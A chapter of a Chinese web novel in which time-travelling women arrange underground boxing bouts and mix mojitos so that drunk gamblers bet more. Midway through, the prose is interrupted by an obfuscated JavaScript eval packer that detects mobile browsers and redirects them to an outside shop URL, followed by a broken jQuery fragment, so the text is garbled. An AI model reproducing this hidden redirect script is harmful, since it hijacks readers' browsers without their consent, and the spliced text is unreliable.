求问:人在古代,有没有不需要本金,且来钱特别快的活儿?
陈怀玉突然说:“自古以来,文无第一武无第二,武术拳击比赛,从古至今都会有赌场开盘。”
“你想打黑拳吗?!”阮灵惊了。
她一个单纯的大学生,从没真正接触过社会,她的生活,也从未涉足过灰色地带。
突然听到平时沉默寡言的河南小姐姐这个提议,她又激动又害怕。
“也不算黑拳吧,”陈怀玉说,“只要比赛规则不过分,我就可以试试。”
“也算我一个,”东北辅警小姐姐宋雪搭着陈怀玉的肩膀,“我的散打也是童子功练出来的,一起。”
陈怀玉朝她笑着点了点头。
“要是真能行,”沈栖梧说,“你们赚的钱,就算是我们大家借的。”
“还可以算利息,”管钱的李研说,“等以后咱们正式开张卖书,我们先还钱给二位。”
“咳,这都是小事儿。”宋雪摆摆手说。
陈怀玉也说:“钱不钱的都好说,还是先去找找有没有拳赛,要不然都白搭。”
“分头行动吧,”沈栖梧走到陈怀玉身边说,“留一些人把剩下的章节打印好,再分出些人手和王老板书铺对接,把卖书的彩棚设计一下尽快搭建好。”
“我和怀玉、宋雪,一起去找打拳的地方。”
阮灵和肖云心:“我们俩留下来负责打印吧。”
设计师杨雪儿自告奋勇:“我想负责彩棚,哪位姐妹愿意和我一起?”
漫画师艾初柔声音小小地说:“我愿意,我可以绘画,还办过漫展……”
“那可太棒了!”杨雪儿扬起一个大大的笑容,上前挽住她的胳膊。
看大家都自行组队了,沈栖梧朝陈怀玉和宋雪一扬头,“走吧,咱们也出发。”
整个槐荫县以县衙为中心,东城多书院和气派的大商铺,而西城则汇聚着更多的流动小摊贩。
周边村民进城交易也多从西城门进入,所以,沈栖梧她们便直奔更鲜活、且鱼龙混杂的西城而去。
“沈姑娘!”隔着老远,一个大嗓门儿的汉子叫住了她们。
周大就是今天早上主动跟着牧星河去县衙告状作证的汉子。
周大扔下装着泉水的推车,给她们大大地鞠了一躬:“谢谢你们!没有你们带头揭发县令一家,我的未婚妻就死得太冤了。”
“快别客气,”沈栖梧把他扶起来,“你们不来帮我们壮声势,这案子也结不了这么快。”
沈栖梧非常不擅长接受别人的感谢,忙转移话题:“对了,你做买卖一定很熟悉这里,你知道,哪里有打拳比武的地方吗?能挣钱的那种。”
“有倒是有……”周大不解地看着她们,“有一个地下拳场,但是里面很乱的……”
“能给我们指个路吗?”沈栖梧问。
“我陪你们一起去吧,”周大搓着手说,“那里太乱了,你们小娘子进去,不安全。”
沈栖梧看他确实长得高大壮实,面相也端正,便没有拒绝。
从主街拐进了一条小巷,一直走到巷尾,他们在一家门面最小的店前停下了。
“你们干嘛的?”
门口一个精壮的男人靠坐在台阶上,右脸有一条刀疤,斜着从嘴角到右眼尾,如蜈蚣一样趴在他脸上。“不买水!别挡门儿!”
“我们想来这儿打拳,”沈栖梧开门见山,“能跟老板谈谈么。”
男人靠在身后门框上,扫了她们一眼,笑了,“你们?小娘子?打拳?”
他笑得整个上半身都抖了起来,好像听了个天大的笑话。
“听起来很有趣吧?”沈栖梧也勾起一边唇角笑了笑。
“这是个多好的噱头,人一听,高低就想来瞧瞧,女人,怎么和男人对打。”
男人的笑顿时僵在了脸上,眯起眼,终于重新认真打量背着光、低着头、不卑不亢地和他对视的三个小娘子。
他站了起来,本就高大壮实的身材,站在台阶上,气场更强。
周大顿时紧张了,上前对他说:“刘哥,她们早上把县令一家拉下了马,咱们有话好好说,千万别动手!”
被叫作刘哥的男人,啧了一声,一掌拍开了周大拦他的手,“谁说我要动手了,我知道她们。”
“进来谈吧。”刘哥对沈栖梧朝屋里一扬头,率先走进去。
沈栖梧她们跟着进入小小的前厅,一掀门帘,后面竟是向下走的旋转台阶。
越往下走,烟味儿、汗臭味儿越重,沈栖梧甚至闻到了她在美国旅行时随处可闻到的类似大麻的烧焦油腻味儿……
现在是上午,这里还没有客人,只有几个体格健壮的伙计在打扫卫生。
沈栖梧用眼神询问陈怀玉和宋雪:你们真的能接受在这种环境里打拳吗?咱们另谋生路也行的。
来都来了。
俩人捏着鼻子眨眨眼说道。
“我们这儿打拳没啥规矩,”刘哥指着地下中央四方形的拳台说,“两人对打,一直打到其中一人倒下为止。”
“有裁判吗?”沈栖梧皱着眉头问。
“啥?!”刘哥笑着掏掏耳朵,“裁判是个什么鬼,劝架的?”
沈栖梧:……
陈怀玉、宋雪:……
“不会出人命吧?”沈栖梧将标准降低了,又问。
“那不会,”刘哥笑着说,“倒地了可以认输,人家看你们长得如花似玉的,肯定就不打了。”
“哼,”宋雪睨着他说,“谁认输还不一定呢,话别说太早,省的打脸。”
“呦!”刘哥一笑,右脸的蜈蚣伤疤仿佛活了过来,“不愧是能干掉县令的烈女子,我拭目以待!”
“聊聊分成吧,”沈栖梧拉回正题,“输赢怎么分钱?”
“每一场我们都开盘,每人一两银子起步,上不封顶。”刘哥说。
“打赢的人,拿百分之四,输的拿百分之一。我是庄家,拿百分之五,剩下的归下注的客人。”
一两银子就是一千文钱,县城普通的三口之家,省着花能用半个月呢。
她们虽然人多,但是买些米面菜自己做饭,挣了钱省着点儿撑个一星期,应该不成问题。
再说了,她们也不一定会输,她们是来杀死比赛的。
沈栖梧看向陈怀玉,征询她专业武术人的建议。
“可以的。”陈怀玉点点头,现代拳击比赛分成也差不多就是这样了。
沈栖梧点点头,又看了一圈店里的布置,看到了酒柜,问:“你们还卖酒?”
“酒是必须的,一群大老爷们儿喝高了,手松,更容易下注。”刘哥说完,朝一个伙计招手,“来一壶酒!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744032|209189||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“尝尝,这是北地的烧刀子,烈酒!”刘哥给她们仨一人倒了一碗。
沈栖梧端起酒碗,轻微的焦糊味扑鼻而来,是属于高粱的粮香味儿没错了。她含了一口,舌尖瞬间感到了灼烧和刺痛,咽下去后,酒液像火舌一般顺着喉咙流入腹中。
“好酒,够烈。”沈栖梧赞道。
刘哥大笑:“沈小娘好品味!这可是我以前在北边儿当兵时,专门和蛮人偷学的,整个县城,我家的酒,独一份儿!”
沈栖梧朝他粲然一笑:“刘老板,我有一手调酒的手艺,能让你卖出更多的酒,赚更多的钱。”
“哦?”刘哥眼睛发亮,“口说无凭,先做一杯尝尝。”
“有柠檬、薄荷和糖吗?”沈栖梧问。
“柠檬?”刘哥疑惑,“那是什么?”
“一种很酸很酸的水果,”沈栖梧用手比划着大小,“有黄色的,也有青色。”
“黎檬子吗?!”刘哥整张脸都皱起来了,“那玩意儿不能吃,太酸了。”
“相信我,柠檬配酒,越喝越有。”
然后,她就看到,刘哥出去又回来,手里抱了一盆盆栽柠檬树。
“这是南方来的客商送我的,”刘哥一脸嫌弃地把盆栽放到桌子上,“根本不能吃,能酸死个人!”
宋雪凑到沈栖梧身边,小声问:“纳兰姐,你是要做莫吉托?”
“嗯哼,”沈栖梧朝她一眨眼睛,抱着柠檬盆栽往酒柜走,“这玩意儿喝着爽口,一杯接一杯,不知不觉就喝醉了。”
“然后,醉酒的客人就能多下注,”宋雪高兴地打了个响指,“我们就能多拿提成!”
沈栖梧给她一个孺子可教的眼神。
沈栖梧熟练地榨出柠檬汁,加入一勺白糖,倒入无色的烧刀子,用泉水替代了苏打水,再沿着碗口抹一圈儿薄荷汁,最后插上一片柠檬做点缀,第一碗Mojito就在古代诞生了。
“纳兰姐怎么还会调鸡尾酒?”陈怀玉眼睛亮亮的看着她问。
沈栖梧叹了口气:“有段时间过得很颓废,感觉不到活着的动力,就整日喝酒把自己灌醉。”
“但纯喝酒太辣了,就照着视频自学了调酒……”她摇了摇头,没再说下去。
陈怀玉和宋雪惊讶地对视一眼,没想到,在她们眼中是人生赢家的纳兰姐,居然也有至暗时刻?
谁都有藏着不愿说的往事,俩人默契地没再探究。
沈栖梧调了五碗酒,是的,这个店没有酒杯,只有小口深腹粗陶碗。
“刘老板,尝尝我调的莫吉托。”沈栖梧把酒托放到桌子上,还给带她们来的周大一碗,“周大哥辛苦了,也来一碗尝尝。”
“唔,”刘哥喝了一口,眼睛都瞪圆溜了,“挺清爽的,这个酸度能接受,薄荷味很浓,就是酒味儿不冲了。”
“好喝。”周大也比着大拇指说。
“要的就是盖一点酒味,”沈栖梧说,“这样客人才能一杯接一杯地喝。”
“夏天天热,要是有冰块儿,加进去,更爽口,更好卖。”
“冰块儿?!”刘哥惊得呛住了,“你知道整个县城就一家卖冰的吗?死贵!”
沈栖梧眉头一挑,和姐妹对视一眼。
哦吼!又发现一条致富路!
“嘿嘿,刘老板,”宋雪笑着拍拍他的肩膀,“我们也会制冰啊!”